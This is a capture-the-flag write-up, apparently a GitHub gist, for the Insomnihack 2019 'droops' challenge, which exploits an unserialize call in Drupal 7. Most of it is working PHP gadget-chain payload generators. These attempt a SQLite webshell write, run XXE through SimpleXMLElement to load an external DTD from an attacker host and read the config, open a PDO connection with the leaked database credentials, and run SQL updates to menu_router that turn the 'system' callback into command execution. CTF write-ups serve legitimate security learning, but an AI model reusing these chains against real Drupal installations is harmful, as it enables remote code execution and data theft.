Instantly share code, notes, and snippets.

Embed
What would you like to do?
insomnihack2019teaser_droops_writeup.md

The challenge was based on drupal7 with obvious unserialize call added.

Trying to build a chain and the first solution i found was based on following chain:

./includes/bootstrap.inc

abstract class DrupalCacheArray
    ...
    public function __destruct() {
        $data = array();
        foreach ($this->keysToPersist as $offset => $persist) {

./includes/database/prefetch.inc

class DatabaseStatementPrefetch implements Iterator, DatabaseStatementInterface {
	...

    public function current() {
        if (isset($this->currentRow)) {
          switch ($this->fetchStyle) {
          	...
          	case PDO::FETCH_CLASS:
          	$class_name = $this->fetchOptions['class'];
          	if (!isset($class_name)) {
				$class_name = $this->fetchOptions['class'];
            }
            if (count($this->fetchOptions['constructor_args'])) {
              $reflector = new ReflectionClass($class_name);
              $result = $reflector->newInstanceArgs($this->fetchOptions['constructor_args']);
            }

This chain will allow us to execute any constructor with arbitrary aguments.

Attempt 1

My first attempt was to create DatabaseConnection_sqlite instance. It's a drupal wrapper around PDO which allows us to create connection and execute initial query using $connection_options['init_commands']) argument. So we can create a connection to database stored in file /var/www/html/shell.php and put our payload to it by executing query create table a as select '<?php phpinfo();>'.

class DatabaseStatementPrefetch {
  protected $currentRow = [];
  protected $fetchStyle = PDO::FETCH_CLASS;
  protected $fetchOptions = array(
    'class' => 'DatabaseConnection_sqlite',
    'constructor_args' => array(
        [
            "database" => "/var/www/html/shell.php",
            "init_commands" => ["create table a as select '<?php phpinfo();>'b"]
        ]
    ),
  );
}

class ThemeRegistry {
  protected $keysToPersist = array();
  public function __construct($a){
      $this->keysToPersist = $a;
  }
}

echo urlencode(serialize(
    new ThemeRegistry(
        new DatabaseStatementPrefetch()
    )
));

But it failed... I asked author of the challenge and he said that there is no writable directories, so i need to find another way.

Attempt 2

I was to lazy to read drupal source code so i decided to find another way to get RCE by executing arbitrary constructor. My next thought was to read config file using XXE by creating SimpleXMLElement instance. It doesnt allow to use external entities by default, but we change it using constructor arguments. Moreover, we can set LIBXML_BIGLINES and LIBXML_PARSEHUGE to bypass length restrictions.

class DatabaseStatementPrefetch {
  protected $currentRow = [];
  protected $fetchStyle = PDO::FETCH_CLASS;
  protected $fetchOptions = array(
    'class' => 'SimpleXMLElement',
    'constructor_args' => array(
        	'http://yourhost/x.xml',
        	LIBXML_BIGLINES|LIBXML_DTDLOAD|LIBXML_NOENT|LIBXML_PARSEHUGE,
        	true
    	)
    ),
  );
}

class ThemeRegistry {
  protected $keysToPersist = array();
  public function __construct($a){
      $this->keysToPersist = $a;
  }
}

echo urlencode(serialize(
    new ThemeRegistry(
        new DatabaseStatementPrefetch()
    )
));

This allows me to read drupal config file and get database config. Now i can crete PDO instances with this config and execute arbitrary SQL queries:

class DatabaseStatementPrefetch {
  protected $currentRow = [];
  protected $fetchStyle = PDO::FETCH_CLASS;
  protected $fetchOptions = array(
  	'class' => 'PDO',
    'constructor_args' => array(
            "mysql:",
            "droops", "d0n0tdr00psm3",
	    array(PDO::MYSQL_ATTR_INIT_COMMAND => "select version();") 
        )
    ),
  );
}

class ThemeRegistry {
  protected $keysToPersist = array();
  public function __construct($a){
      $this->keysToPersist = $a;
  }
}

echo urlencode(serialize(
    new ThemeRegistry(
        new DatabaseStatementPrefetch()
    )
));

So i tried to insert my own session into sessions tables and become admin, but it failed again. I asked author again, and he said that there is no authentication system. Luckily, there is lots of callback functions stored in database, so my final exploit was based on executing two queries (it can be made in one query, but there was payload length restriction):

  1. update menu_router set access_callback='system' where path='system/timezone'"
  2. update droops.menu_router set access_arguments='a:1:{i:0;s:2:\"id\";}'where path like'%zone'

After that request to http://droops.teaser.insomnihack.ch/?q=system/timezone will execute out payload.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment